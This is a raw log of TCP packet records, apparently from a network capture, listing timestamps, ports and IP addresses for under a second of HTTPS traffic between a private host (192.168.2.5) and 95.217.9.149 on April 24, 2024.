Apr 24, 2024 12:07:22.694168091 CEST	49726	443	192.168.2.5	95.217.9.149
Apr 24, 2024 12:07:22.697724104 CEST	443	49726	95.217.9.149	192.168.2.5
Apr 24, 2024 12:07:22.697755098 CEST	443	49726	95.217.9.149	192.168.2.5
Apr 24, 2024 12:07:22.697803020 CEST	49726	443	192.168.2.5	95.217.9.149
Apr 24, 2024 12:07:22.697807074 CEST	443	49726	95.217.9.149	192.168.2.5
Apr 24, 2024 12:07:22.697849989 CEST	49726	443	192.168.2.5	95.217.9.149
Apr 24, 2024 12:07:22.702788115 CEST	443	49726	95.217.9.149	192.168.2.5
Apr 24, 2024 12:07:22.702820063 CEST	443	49726	95.217.9.149	192.168.2.5
Apr 24, 2024 12:07:22.702873945 CEST	49726	443	192.168.2.5	95.217.9.149
Apr 24, 2024 12:07:22.702879906 CEST	443	49726	95.217.9.149	192.168.2.5
Apr 24, 2024 12:07:22.702909946 CEST	49726	443	192.168.2.5	95.217.9.149
Apr 24, 2024 12:07:22.702929020 CEST	49726	443	192.168.2.5	95.217.9.149
Apr 24, 2024 12:07:22.708606958 CEST	443	49726	95.217.9.149	192.168.2.5
Apr 24, 2024 12:07:22.708627939 CEST	443	49726	95.217.9.149	192.168.2.5
Apr 24, 2024 12:07:22.708695889 CEST	49726	443	192.168.2.5	95.217.9.149
Apr 24, 2024 12:07:22.708702087 CEST	443	49726	95.217.9.149	192.168.2.5
Apr 24, 2024 12:07:22.708743095 CEST	49726	443	192.168.2.5	95.217.9.149
Apr 24, 2024 12:07:22.716223001 CEST	443	49726	95.217.9.149	192.168.2.5
Apr 24, 2024 12:07:22.716243982 CEST	443	49726	95.217.9.149	192.168.2.5
Apr 24, 2024 12:07:22.716300964 CEST	49726	443	192.168.2.5	95.217.9.149
Apr 24, 2024 12:07:22.716311932 CEST	443	49726	95.217.9.149	192.168.2.5
Apr 24, 2024 12:07:22.716363907 CEST	49726	443	192.168.2.5	95.217.9.149
Apr 24, 2024 12:07:22.721321106 CEST	443	49726	95.217.9.149	192.168.2.5
Apr 24, 2024 12:07:22.721342087 CEST	443	49726	95.217.9.149	192.168.2.5
Apr 24, 2024 12:07:22.721385956 CEST	49726	443	192.168.2.5	95.217.9.149
Apr 24, 2024 12:07:22.721395969 CEST	443	49726	95.217.9.149	192.168.2.5
Apr 24, 2024 12:07:22.721430063 CEST	49726	443	192.168.2.5	95.217.9.149
Apr 24, 2024 12:07:22.721453905 CEST	49726	443	192.168.2.5	95.217.9.149
Apr 24, 2024 12:07:22.726155043 CEST	443	49726	95.217.9.149	192.168.2.5
Apr 24, 2024 12:07:22.726174116 CEST	443	49726	95.217.9.149	192.168.2.5
Apr 24, 2024 12:07:22.726217985 CEST	49726	443	192.168.2.5	95.217.9.149
Apr 24, 2024 12:07:22.726222038 CEST	443	49726	95.217.9.149	192.168.2.5
Apr 24, 2024 12:07:22.726264954 CEST	49726	443	192.168.2.5	95.217.9.149
Apr 24, 2024 12:07:22.731511116 CEST	443	49726	95.217.9.149	192.168.2.5
Apr 24, 2024 12:07:22.731537104 CEST	443	49726	95.217.9.149	192.168.2.5
Apr 24, 2024 12:07:22.731596947 CEST	49726	443	192.168.2.5	95.217.9.149
Apr 24, 2024 12:07:22.731601954 CEST	443	49726	95.217.9.149	192.168.2.5
Apr 24, 2024 12:07:22.731643915 CEST	49726	443	192.168.2.5	95.217.9.149
Apr 24, 2024 12:07:22.736643076 CEST	443	49726	95.217.9.149	192.168.2.5
Apr 24, 2024 12:07:22.736661911 CEST	443	49726	95.217.9.149	192.168.2.5
Apr 24, 2024 12:07:22.736727953 CEST	49726	443	192.168.2.5	95.217.9.149
Apr 24, 2024 12:07:22.736733913 CEST	443	49726	95.217.9.149	192.168.2.5
Apr 24, 2024 12:07:22.736762047 CEST	49726	443	192.168.2.5	95.217.9.149
Apr 24, 2024 12:07:22.736782074 CEST	49726	443	192.168.2.5	95.217.9.149
Apr 24, 2024 12:07:22.741130114 CEST	443	49726	95.217.9.149	192.168.2.5
Apr 24, 2024 12:07:22.741149902 CEST	443	49726	95.217.9.149	192.168.2.5
Apr 24, 2024 12:07:22.741189003 CEST	49726	443	192.168.2.5	95.217.9.149
Apr 24, 2024 12:07:22.741194010 CEST	443	49726	95.217.9.149	192.168.2.5
Apr 24, 2024 12:07:22.741245031 CEST	49726	443	192.168.2.5	95.217.9.149
Apr 24, 2024 12:07:22.743882895 CEST	443	49726	95.217.9.149	192.168.2.5
Apr 24, 2024 12:07:22.743902922 CEST	443	49726	95.217.9.149	192.168.2.5
Apr 24, 2024 12:07:22.743964911 CEST	49726	443	192.168.2.5	95.217.9.149
Apr 24, 2024 12:07:22.743969917 CEST	443	49726	95.217.9.149	192.168.2.5
Apr 24, 2024 12:07:22.744008064 CEST	49726	443	192.168.2.5	95.217.9.149
Apr 24, 2024 12:07:22.748663902 CEST	443	49726	95.217.9.149	192.168.2.5
Apr 24, 2024 12:07:22.748682976 CEST	443	49726	95.217.9.149	192.168.2.5
Apr 24, 2024 12:07:22.748739004 CEST	49726	443	192.168.2.5	95.217.9.149
Apr 24, 2024 12:07:22.748744011 CEST	443	49726	95.217.9.149	192.168.2.5
Apr 24, 2024 12:07:22.748774052 CEST	49726	443	192.168.2.5	95.217.9.149
Apr 24, 2024 12:07:22.748790979 CEST	49726	443	192.168.2.5	95.217.9.149
Apr 24, 2024 12:07:22.753151894 CEST	443	49726	95.217.9.149	192.168.2.5
Apr 24, 2024 12:07:22.753177881 CEST	443	49726	95.217.9.149	192.168.2.5
Apr 24, 2024 12:07:22.753223896 CEST	49726	443	192.168.2.5	95.217.9.149
Apr 24, 2024 12:07:22.753231049 CEST	443	49726	95.217.9.149	192.168.2.5
Apr 24, 2024 12:07:22.753262997 CEST	49726	443	192.168.2.5	95.217.9.149
Apr 24, 2024 12:07:22.753283978 CEST	49726	443	192.168.2.5	95.217.9.149
Apr 24, 2024 12:07:22.757661104 CEST	443	49726	95.217.9.149	192.168.2.5
Apr 24, 2024 12:07:22.757679939 CEST	443	49726	95.217.9.149	192.168.2.5
Apr 24, 2024 12:07:22.757739067 CEST	49726	443	192.168.2.5	95.217.9.149
Apr 24, 2024 12:07:22.757744074 CEST	443	49726	95.217.9.149	192.168.2.5
Apr 24, 2024 12:07:22.757847071 CEST	49726	443	192.168.2.5	95.217.9.149
Apr 24, 2024 12:07:22.762778044 CEST	443	49726	95.217.9.149	192.168.2.5
Apr 24, 2024 12:07:22.762803078 CEST	443	49726	95.217.9.149	192.168.2.5
Apr 24, 2024 12:07:22.762835979 CEST	49726	443	192.168.2.5	95.217.9.149
Apr 24, 2024 12:07:22.762840986 CEST	443	49726	95.217.9.149	192.168.2.5
Apr 24, 2024 12:07:22.762887001 CEST	49726	443	192.168.2.5	95.217.9.149
Apr 24, 2024 12:07:22.767486095 CEST	443	49726	95.217.9.149	192.168.2.5
Apr 24, 2024 12:07:22.767504930 CEST	443	49726	95.217.9.149	192.168.2.5
Apr 24, 2024 12:07:22.767563105 CEST	49726	443	192.168.2.5	95.217.9.149
Apr 24, 2024 12:07:22.767568111 CEST	443	49726	95.217.9.149	192.168.2.5
Apr 24, 2024 12:07:22.767582893 CEST	49726	443	192.168.2.5	95.217.9.149
Apr 24, 2024 12:07:22.767613888 CEST	49726	443	192.168.2.5	95.217.9.149
Apr 24, 2024 12:07:22.771846056 CEST	443	49726	95.217.9.149	192.168.2.5
Apr 24, 2024 12:07:22.771866083 CEST	443	49726	95.217.9.149	192.168.2.5
Apr 24, 2024 12:07:22.771915913 CEST	49726	443	192.168.2.5	95.217.9.149
Apr 24, 2024 12:07:22.771920919 CEST	443	49726	95.217.9.149	192.168.2.5
Apr 24, 2024 12:07:22.771964073 CEST	49726	443	192.168.2.5	95.217.9.149
Apr 24, 2024 12:07:22.776568890 CEST	443	49726	95.217.9.149	192.168.2.5
Apr 24, 2024 12:07:22.776590109 CEST	443	49726	95.217.9.149	192.168.2.5
Apr 24, 2024 12:07:22.776643991 CEST	49726	443	192.168.2.5	95.217.9.149
Apr 24, 2024 12:07:22.776648045 CEST	443	49726	95.217.9.149	192.168.2.5
Apr 24, 2024 12:07:22.776694059 CEST	49726	443	192.168.2.5	95.217.9.149
Apr 24, 2024 12:07:22.780961037 CEST	443	49726	95.217.9.149	192.168.2.5
Apr 24, 2024 12:07:22.780980110 CEST	443	49726	95.217.9.149	192.168.2.5
Apr 24, 2024 12:07:22.781018019 CEST	49726	443	192.168.2.5	95.217.9.149
Apr 24, 2024 12:07:22.781023026 CEST	443	49726	95.217.9.149	192.168.2.5
Apr 24, 2024 12:07:22.781071901 CEST	49726	443	192.168.2.5	95.217.9.149
Apr 24, 2024 12:07:22.785319090 CEST	443	49726	95.217.9.149	192.168.2.5
Apr 24, 2024 12:07:22.785339117 CEST	443	49726	95.217.9.149	192.168.2.5
Apr 24, 2024 12:07:22.785383940 CEST	49726	443	192.168.2.5	95.217.9.149
Apr 24, 2024 12:07:22.785388947 CEST	443	49726	95.217.9.149	192.168.2.5
Apr 24, 2024 12:07:22.785430908 CEST	49726	443	192.168.2.5	95.217.9.149
Apr 24, 2024 12:07:22.789442062 CEST	443	49726	95.217.9.149	192.168.2.5
Apr 24, 2024 12:07:22.789469004 CEST	443	49726	95.217.9.149	192.168.2.5
Apr 24, 2024 12:07:22.789525032 CEST	49726	443	192.168.2.5	95.217.9.149
Apr 24, 2024 12:07:22.789530039 CEST	443	49726	95.217.9.149	192.168.2.5
Apr 24, 2024 12:07:22.789556026 CEST	49726	443	192.168.2.5	95.217.9.149
Apr 24, 2024 12:07:22.789573908 CEST	49726	443	192.168.2.5	95.217.9.149
Apr 24, 2024 12:07:22.794024944 CEST	443	49726	95.217.9.149	192.168.2.5
Apr 24, 2024 12:07:22.794043064 CEST	443	49726	95.217.9.149	192.168.2.5
Apr 24, 2024 12:07:22.794095993 CEST	49726	443	192.168.2.5	95.217.9.149
Apr 24, 2024 12:07:22.794101954 CEST	443	49726	95.217.9.149	192.168.2.5
Apr 24, 2024 12:07:22.794147015 CEST	49726	443	192.168.2.5	95.217.9.149
Apr 24, 2024 12:07:22.798175097 CEST	443	49726	95.217.9.149	192.168.2.5
Apr 24, 2024 12:07:22.798199892 CEST	443	49726	95.217.9.149	192.168.2.5
Apr 24, 2024 12:07:22.798252106 CEST	49726	443	192.168.2.5	95.217.9.149
Apr 24, 2024 12:07:22.798259020 CEST	443	49726	95.217.9.149	192.168.2.5
Apr 24, 2024 12:07:22.798293114 CEST	49726	443	192.168.2.5	95.217.9.149
Apr 24, 2024 12:07:22.798306942 CEST	49726	443	192.168.2.5	95.217.9.149
Apr 24, 2024 12:07:22.802398920 CEST	443	49726	95.217.9.149	192.168.2.5
Apr 24, 2024 12:07:22.802419901 CEST	443	49726	95.217.9.149	192.168.2.5
Apr 24, 2024 12:07:22.802469969 CEST	49726	443	192.168.2.5	95.217.9.149
Apr 24, 2024 12:07:22.802475929 CEST	443	49726	95.217.9.149	192.168.2.5
Apr 24, 2024 12:07:22.802516937 CEST	49726	443	192.168.2.5	95.217.9.149
Apr 24, 2024 12:07:22.807101011 CEST	443	49726	95.217.9.149	192.168.2.5
Apr 24, 2024 12:07:22.807120085 CEST	443	49726	95.217.9.149	192.168.2.5
Apr 24, 2024 12:07:22.807163954 CEST	49726	443	192.168.2.5	95.217.9.149
Apr 24, 2024 12:07:22.807168961 CEST	443	49726	95.217.9.149	192.168.2.5
Apr 24, 2024 12:07:22.807202101 CEST	49726	443	192.168.2.5	95.217.9.149
Apr 24, 2024 12:07:22.807210922 CEST	49726	443	192.168.2.5	95.217.9.149
Apr 24, 2024 12:07:22.810872078 CEST	443	49726	95.217.9.149	192.168.2.5
Apr 24, 2024 12:07:22.810893059 CEST	443	49726	95.217.9.149	192.168.2.5
Apr 24, 2024 12:07:22.810951948 CEST	49726	443	192.168.2.5	95.217.9.149
Apr 24, 2024 12:07:22.810957909 CEST	443	49726	95.217.9.149	192.168.2.5
Apr 24, 2024 12:07:22.810986042 CEST	49726	443	192.168.2.5	95.217.9.149
Apr 24, 2024 12:07:22.811001062 CEST	49726	443	192.168.2.5	95.217.9.149
Apr 24, 2024 12:07:22.814765930 CEST	443	49726	95.217.9.149	192.168.2.5
Apr 24, 2024 12:07:22.814785957 CEST	443	49726	95.217.9.149	192.168.2.5
Apr 24, 2024 12:07:22.814826012 CEST	49726	443	192.168.2.5	95.217.9.149
Apr 24, 2024 12:07:22.814831972 CEST	443	49726	95.217.9.149	192.168.2.5
Apr 24, 2024 12:07:22.814857960 CEST	49726	443	192.168.2.5	95.217.9.149
Apr 24, 2024 12:07:22.814871073 CEST	49726	443	192.168.2.5	95.217.9.149
Apr 24, 2024 12:07:22.819001913 CEST	443	49726	95.217.9.149	192.168.2.5
Apr 24, 2024 12:07:22.819010973 CEST	443	49726	95.217.9.149	192.168.2.5
Apr 24, 2024 12:07:22.819098949 CEST	49726	443	192.168.2.5	95.217.9.149
Apr 24, 2024 12:07:22.819104910 CEST	443	49726	95.217.9.149	192.168.2.5
Apr 24, 2024 12:07:22.819190979 CEST	49726	443	192.168.2.5	95.217.9.149
Apr 24, 2024 12:07:22.822848082 CEST	443	49726	95.217.9.149	192.168.2.5
Apr 24, 2024 12:07:22.822868109 CEST	443	49726	95.217.9.149	192.168.2.5
Apr 24, 2024 12:07:22.822916031 CEST	49726	443	192.168.2.5	95.217.9.149
Apr 24, 2024 12:07:22.822921038 CEST	443	49726	95.217.9.149	192.168.2.5
Apr 24, 2024 12:07:22.822952986 CEST	49726	443	192.168.2.5	95.217.9.149
Apr 24, 2024 12:07:22.822969913 CEST	49726	443	192.168.2.5	95.217.9.149
Apr 24, 2024 12:07:22.827359915 CEST	443	49726	95.217.9.149	192.168.2.5
Apr 24, 2024 12:07:22.827382088 CEST	443	49726	95.217.9.149	192.168.2.5
Apr 24, 2024 12:07:22.827438116 CEST	49726	443	192.168.2.5	95.217.9.149
Apr 24, 2024 12:07:22.827445030 CEST	443	49726	95.217.9.149	192.168.2.5
Apr 24, 2024 12:07:22.827472925 CEST	49726	443	192.168.2.5	95.217.9.149
Apr 24, 2024 12:07:22.827490091 CEST	49726	443	192.168.2.5	95.217.9.149
Apr 24, 2024 12:07:22.831098080 CEST	443	49726	95.217.9.149	192.168.2.5
Apr 24, 2024 12:07:22.831123114 CEST	443	49726	95.217.9.149	192.168.2.5
Apr 24, 2024 12:07:22.831177950 CEST	49726	443	192.168.2.5	95.217.9.149
Apr 24, 2024 12:07:22.831182003 CEST	443	49726	95.217.9.149	192.168.2.5
Apr 24, 2024 12:07:22.831207991 CEST	49726	443	192.168.2.5	95.217.9.149
Apr 24, 2024 12:07:22.831228018 CEST	49726	443	192.168.2.5	95.217.9.149
Apr 24, 2024 12:07:22.835727930 CEST	443	49726	95.217.9.149	192.168.2.5
Apr 24, 2024 12:07:22.835747957 CEST	443	49726	95.217.9.149	192.168.2.5
Apr 24, 2024 12:07:22.835796118 CEST	49726	443	192.168.2.5	95.217.9.149
Apr 24, 2024 12:07:22.835802078 CEST	443	49726	95.217.9.149	192.168.2.5
Apr 24, 2024 12:07:22.835834026 CEST	49726	443	192.168.2.5	95.217.9.149
Apr 24, 2024 12:07:22.835858107 CEST	49726	443	192.168.2.5	95.217.9.149
Apr 24, 2024 12:07:22.839463949 CEST	443	49726	95.217.9.149	192.168.2.5
Apr 24, 2024 12:07:22.839483023 CEST	443	49726	95.217.9.149	192.168.2.5
Apr 24, 2024 12:07:22.839539051 CEST	49726	443	192.168.2.5	95.217.9.149
Apr 24, 2024 12:07:22.839544058 CEST	443	49726	95.217.9.149	192.168.2.5
Apr 24, 2024 12:07:22.839575052 CEST	49726	443	192.168.2.5	95.217.9.149
Apr 24, 2024 12:07:22.839591980 CEST	49726	443	192.168.2.5	95.217.9.149
Apr 24, 2024 12:07:22.844504118 CEST	443	49726	95.217.9.149	192.168.2.5
Apr 24, 2024 12:07:22.844525099 CEST	443	49726	95.217.9.149	192.168.2.5
Apr 24, 2024 12:07:22.844583035 CEST	49726	443	192.168.2.5	95.217.9.149
Apr 24, 2024 12:07:22.844588041 CEST	443	49726	95.217.9.149	192.168.2.5
Apr 24, 2024 12:07:22.844614029 CEST	49726	443	192.168.2.5	95.217.9.149
Apr 24, 2024 12:07:22.844634056 CEST	49726	443	192.168.2.5	95.217.9.149
Apr 24, 2024 12:07:22.848206997 CEST	443	49726	95.217.9.149	192.168.2.5
Apr 24, 2024 12:07:22.848227024 CEST	443	49726	95.217.9.149	192.168.2.5
Apr 24, 2024 12:07:22.848269939 CEST	49726	443	192.168.2.5	95.217.9.149
Apr 24, 2024 12:07:22.848274946 CEST	443	49726	95.217.9.149	192.168.2.5
Apr 24, 2024 12:07:22.848298073 CEST	49726	443	192.168.2.5	95.217.9.149
Apr 24, 2024 12:07:22.848320961 CEST	49726	443	192.168.2.5	95.217.9.149
Apr 24, 2024 12:07:22.852089882 CEST	443	49726	95.217.9.149	192.168.2.5
Apr 24, 2024 12:07:22.852118015 CEST	443	49726	95.217.9.149	192.168.2.5
Apr 24, 2024 12:07:22.852176905 CEST	49726	443	192.168.2.5	95.217.9.149
Apr 24, 2024 12:07:22.852181911 CEST	443	49726	95.217.9.149	192.168.2.5
Apr 24, 2024 12:07:22.852212906 CEST	49726	443	192.168.2.5	95.217.9.149
Apr 24, 2024 12:07:22.852221012 CEST	49726	443	192.168.2.5	95.217.9.149
Apr 24, 2024 12:07:22.856969118 CEST	443	49726	95.217.9.149	192.168.2.5
Apr 24, 2024 12:07:22.856990099 CEST	443	49726	95.217.9.149	192.168.2.5
Apr 24, 2024 12:07:22.857034922 CEST	49726	443	192.168.2.5	95.217.9.149
Apr 24, 2024 12:07:22.857038975 CEST	443	49726	95.217.9.149	192.168.2.5
Apr 24, 2024 12:07:22.857072115 CEST	49726	443	192.168.2.5	95.217.9.149
Apr 24, 2024 12:07:22.857085943 CEST	49726	443	192.168.2.5	95.217.9.149
Apr 24, 2024 12:07:22.861093998 CEST	443	49726	95.217.9.149	192.168.2.5
Apr 24, 2024 12:07:22.861138105 CEST	443	49726	95.217.9.149	192.168.2.5
Apr 24, 2024 12:07:22.861171007 CEST	49726	443	192.168.2.5	95.217.9.149
Apr 24, 2024 12:07:22.861176968 CEST	443	49726	95.217.9.149	192.168.2.5
Apr 24, 2024 12:07:22.861210108 CEST	49726	443	192.168.2.5	95.217.9.149
Apr 24, 2024 12:07:22.861223936 CEST	49726	443	192.168.2.5	95.217.9.149
Apr 24, 2024 12:07:22.864825964 CEST	443	49726	95.217.9.149	192.168.2.5
Apr 24, 2024 12:07:22.864845037 CEST	443	49726	95.217.9.149	192.168.2.5
Apr 24, 2024 12:07:22.864916086 CEST	49726	443	192.168.2.5	95.217.9.149
Apr 24, 2024 12:07:22.864922047 CEST	443	49726	95.217.9.149	192.168.2.5
Apr 24, 2024 12:07:22.864952087 CEST	49726	443	192.168.2.5	95.217.9.149
Apr 24, 2024 12:07:22.864967108 CEST	49726	443	192.168.2.5	95.217.9.149
Apr 24, 2024 12:07:22.868906021 CEST	443	49726	95.217.9.149	192.168.2.5
Apr 24, 2024 12:07:22.868928909 CEST	443	49726	95.217.9.149	192.168.2.5
Apr 24, 2024 12:07:22.868974924 CEST	49726	443	192.168.2.5	95.217.9.149
Apr 24, 2024 12:07:22.868979931 CEST	443	49726	95.217.9.149	192.168.2.5
Apr 24, 2024 12:07:22.869004965 CEST	49726	443	192.168.2.5	95.217.9.149
Apr 24, 2024 12:07:22.869025946 CEST	49726	443	192.168.2.5	95.217.9.149
Apr 24, 2024 12:07:22.873151064 CEST	443	49726	95.217.9.149	192.168.2.5
Apr 24, 2024 12:07:22.873172045 CEST	443	49726	95.217.9.149	192.168.2.5
Apr 24, 2024 12:07:22.873215914 CEST	49726	443	192.168.2.5	95.217.9.149
Apr 24, 2024 12:07:22.873219967 CEST	443	49726	95.217.9.149	192.168.2.5
Apr 24, 2024 12:07:22.873250008 CEST	49726	443	192.168.2.5	95.217.9.149
Apr 24, 2024 12:07:22.873264074 CEST	49726	443	192.168.2.5	95.217.9.149
Apr 24, 2024 12:07:22.877418041 CEST	443	49726	95.217.9.149	192.168.2.5
Apr 24, 2024 12:07:22.877437115 CEST	443	49726	95.217.9.149	192.168.2.5
Apr 24, 2024 12:07:22.877486944 CEST	49726	443	192.168.2.5	95.217.9.149
Apr 24, 2024 12:07:22.877492905 CEST	443	49726	95.217.9.149	192.168.2.5
Apr 24, 2024 12:07:22.877528906 CEST	49726	443	192.168.2.5	95.217.9.149
Apr 24, 2024 12:07:22.877537012 CEST	49726	443	192.168.2.5	95.217.9.149
Apr 24, 2024 12:07:22.881064892 CEST	443	49726	95.217.9.149	192.168.2.5
Apr 24, 2024 12:07:22.881086111 CEST	443	49726	95.217.9.149	192.168.2.5
Apr 24, 2024 12:07:22.881117105 CEST	49726	443	192.168.2.5	95.217.9.149
Apr 24, 2024 12:07:22.881123066 CEST	443	49726	95.217.9.149	192.168.2.5
Apr 24, 2024 12:07:22.881150961 CEST	49726	443	192.168.2.5	95.217.9.149
Apr 24, 2024 12:07:22.881169081 CEST	49726	443	192.168.2.5	95.217.9.149
Apr 24, 2024 12:07:22.885006905 CEST	443	49726	95.217.9.149	192.168.2.5
Apr 24, 2024 12:07:22.885025978 CEST	443	49726	95.217.9.149	192.168.2.5
Apr 24, 2024 12:07:22.885067940 CEST	49726	443	192.168.2.5	95.217.9.149
Apr 24, 2024 12:07:22.885072947 CEST	443	49726	95.217.9.149	192.168.2.5
Apr 24, 2024 12:07:22.885107040 CEST	49726	443	192.168.2.5	95.217.9.149
Apr 24, 2024 12:07:22.885128021 CEST	49726	443	192.168.2.5	95.217.9.149
Apr 24, 2024 12:07:22.888448000 CEST	443	49726	95.217.9.149	192.168.2.5
Apr 24, 2024 12:07:22.888467073 CEST	443	49726	95.217.9.149	192.168.2.5
Apr 24, 2024 12:07:22.888514996 CEST	49726	443	192.168.2.5	95.217.9.149
Apr 24, 2024 12:07:22.888520002 CEST	443	49726	95.217.9.149	192.168.2.5
Apr 24, 2024 12:07:22.888550043 CEST	49726	443	192.168.2.5	95.217.9.149
Apr 24, 2024 12:07:22.888567924 CEST	49726	443	192.168.2.5	95.217.9.149
Apr 24, 2024 12:07:22.891660929 CEST	443	49726	95.217.9.149	192.168.2.5
Apr 24, 2024 12:07:22.891683102 CEST	443	49726	95.217.9.149	192.168.2.5
Apr 24, 2024 12:07:22.891736031 CEST	49726	443	192.168.2.5	95.217.9.149
Apr 24, 2024 12:07:22.891741037 CEST	443	49726	95.217.9.149	192.168.2.5
Apr 24, 2024 12:07:22.891763926 CEST	49726	443	192.168.2.5	95.217.9.149
Apr 24, 2024 12:07:22.891769886 CEST	49726	443	192.168.2.5	95.217.9.149
Apr 24, 2024 12:07:22.895076990 CEST	443	49726	95.217.9.149	192.168.2.5
Apr 24, 2024 12:07:22.895097017 CEST	443	49726	95.217.9.149	192.168.2.5
Apr 24, 2024 12:07:22.895138979 CEST	49726	443	192.168.2.5	95.217.9.149
Apr 24, 2024 12:07:22.895143986 CEST	443	49726	95.217.9.149	192.168.2.5
Apr 24, 2024 12:07:22.895180941 CEST	49726	443	192.168.2.5	95.217.9.149
Apr 24, 2024 12:07:22.895190954 CEST	49726	443	192.168.2.5	95.217.9.149
Apr 24, 2024 12:07:22.899096012 CEST	443	49726	95.217.9.149	192.168.2.5
Apr 24, 2024 12:07:22.899115086 CEST	443	49726	95.217.9.149	192.168.2.5
Apr 24, 2024 12:07:22.899175882 CEST	49726	443	192.168.2.5	95.217.9.149
Apr 24, 2024 12:07:22.899182081 CEST	443	49726	95.217.9.149	192.168.2.5
Apr 24, 2024 12:07:22.899208069 CEST	49726	443	192.168.2.5	95.217.9.149
Apr 24, 2024 12:07:22.899221897 CEST	49726	443	192.168.2.5	95.217.9.149
Apr 24, 2024 12:07:22.902570009 CEST	443	49726	95.217.9.149	192.168.2.5
Apr 24, 2024 12:07:22.902590990 CEST	443	49726	95.217.9.149	192.168.2.5
Apr 24, 2024 12:07:22.902636051 CEST	49726	443	192.168.2.5	95.217.9.149
Apr 24, 2024 12:07:22.902641058 CEST	443	49726	95.217.9.149	192.168.2.5
Apr 24, 2024 12:07:22.902672052 CEST	49726	443	192.168.2.5	95.217.9.149
Apr 24, 2024 12:07:22.902678013 CEST	49726	443	192.168.2.5	95.217.9.149
Apr 24, 2024 12:07:22.905877113 CEST	443	49726	95.217.9.149	192.168.2.5
Apr 24, 2024 12:07:22.905894995 CEST	443	49726	95.217.9.149	192.168.2.5
Apr 24, 2024 12:07:22.905950069 CEST	49726	443	192.168.2.5	95.217.9.149
Apr 24, 2024 12:07:22.905955076 CEST	443	49726	95.217.9.149	192.168.2.5
Apr 24, 2024 12:07:22.905982018 CEST	49726	443	192.168.2.5	95.217.9.149
Apr 24, 2024 12:07:22.905999899 CEST	49726	443	192.168.2.5	95.217.9.149
Apr 24, 2024 12:07:22.909929991 CEST	443	49726	95.217.9.149	192.168.2.5
Apr 24, 2024 12:07:22.909949064 CEST	443	49726	95.217.9.149	192.168.2.5
Apr 24, 2024 12:07:22.909998894 CEST	49726	443	192.168.2.5	95.217.9.149
Apr 24, 2024 12:07:22.910005093 CEST	443	49726	95.217.9.149	192.168.2.5
Apr 24, 2024 12:07:22.910027981 CEST	49726	443	192.168.2.5	95.217.9.149
Apr 24, 2024 12:07:22.910043001 CEST	49726	443	192.168.2.5	95.217.9.149
Apr 24, 2024 12:07:22.913156033 CEST	443	49726	95.217.9.149	192.168.2.5
Apr 24, 2024 12:07:22.913176060 CEST	443	49726	95.217.9.149	192.168.2.5
Apr 24, 2024 12:07:22.913232088 CEST	49726	443	192.168.2.5	95.217.9.149
Apr 24, 2024 12:07:22.913235903 CEST	443	49726	95.217.9.149	192.168.2.5
Apr 24, 2024 12:07:22.913265944 CEST	49726	443	192.168.2.5	95.217.9.149
Apr 24, 2024 12:07:22.913279057 CEST	49726	443	192.168.2.5	95.217.9.149
Apr 24, 2024 12:07:22.916445017 CEST	443	49726	95.217.9.149	192.168.2.5
Apr 24, 2024 12:07:22.916467905 CEST	443	49726	95.217.9.149	192.168.2.5
Apr 24, 2024 12:07:22.916526079 CEST	49726	443	192.168.2.5	95.217.9.149
Apr 24, 2024 12:07:22.916529894 CEST	443	49726	95.217.9.149	192.168.2.5
Apr 24, 2024 12:07:22.916565895 CEST	49726	443	192.168.2.5	95.217.9.149
Apr 24, 2024 12:07:22.916580915 CEST	49726	443	192.168.2.5	95.217.9.149
Apr 24, 2024 12:07:22.920037031 CEST	443	49726	95.217.9.149	192.168.2.5
Apr 24, 2024 12:07:22.920056105 CEST	443	49726	95.217.9.149	192.168.2.5
Apr 24, 2024 12:07:22.920114994 CEST	49726	443	192.168.2.5	95.217.9.149
Apr 24, 2024 12:07:22.920120001 CEST	443	49726	95.217.9.149	192.168.2.5
Apr 24, 2024 12:07:22.920145988 CEST	49726	443	192.168.2.5	95.217.9.149
Apr 24, 2024 12:07:22.920166016 CEST	49726	443	192.168.2.5	95.217.9.149
Apr 24, 2024 12:07:22.924237013 CEST	443	49726	95.217.9.149	192.168.2.5
Apr 24, 2024 12:07:22.924258947 CEST	443	49726	95.217.9.149	192.168.2.5
Apr 24, 2024 12:07:22.924299002 CEST	49726	443	192.168.2.5	95.217.9.149
Apr 24, 2024 12:07:22.924303055 CEST	443	49726	95.217.9.149	192.168.2.5
Apr 24, 2024 12:07:22.924336910 CEST	49726	443	192.168.2.5	95.217.9.149
Apr 24, 2024 12:07:22.924354076 CEST	49726	443	192.168.2.5	95.217.9.149
Apr 24, 2024 12:07:22.927859068 CEST	443	49726	95.217.9.149	192.168.2.5
Apr 24, 2024 12:07:22.927877903 CEST	443	49726	95.217.9.149	192.168.2.5
Apr 24, 2024 12:07:22.927947044 CEST	49726	443	192.168.2.5	95.217.9.149
Apr 24, 2024 12:07:22.927952051 CEST	443	49726	95.217.9.149	192.168.2.5
Apr 24, 2024 12:07:22.928142071 CEST	49726	443	192.168.2.5	95.217.9.149
Apr 24, 2024 12:07:22.931591988 CEST	443	49726	95.217.9.149	192.168.2.5
Apr 24, 2024 12:07:22.931612015 CEST	443	49726	95.217.9.149	192.168.2.5
Apr 24, 2024 12:07:22.931675911 CEST	49726	443	192.168.2.5	95.217.9.149
Apr 24, 2024 12:07:22.931680918 CEST	443	49726	95.217.9.149	192.168.2.5
Apr 24, 2024 12:07:22.931951046 CEST	49726	443	192.168.2.5	95.217.9.149
Apr 24, 2024 12:07:22.934422970 CEST	443	49726	95.217.9.149	192.168.2.5
Apr 24, 2024 12:07:22.934442043 CEST	443	49726	95.217.9.149	192.168.2.5
Apr 24, 2024 12:07:22.934508085 CEST	49726	443	192.168.2.5	95.217.9.149
Apr 24, 2024 12:07:22.934513092 CEST	443	49726	95.217.9.149	192.168.2.5
Apr 24, 2024 12:07:22.934551001 CEST	49726	443	192.168.2.5	95.217.9.149
Apr 24, 2024 12:07:22.934565067 CEST	49726	443	192.168.2.5	95.217.9.149
Apr 24, 2024 12:07:22.937402010 CEST	443	49726	95.217.9.149	192.168.2.5
Apr 24, 2024 12:07:22.937421083 CEST	443	49726	95.217.9.149	192.168.2.5
Apr 24, 2024 12:07:22.937494993 CEST	49726	443	192.168.2.5	95.217.9.149
Apr 24, 2024 12:07:22.937499046 CEST	443	49726	95.217.9.149	192.168.2.5
Apr 24, 2024 12:07:22.937537909 CEST	49726	443	192.168.2.5	95.217.9.149
Apr 24, 2024 12:07:22.941250086 CEST	443	49726	95.217.9.149	192.168.2.5
Apr 24, 2024 12:07:22.941272974 CEST	443	49726	95.217.9.149	192.168.2.5
Apr 24, 2024 12:07:22.941304922 CEST	49726	443	192.168.2.5	95.217.9.149
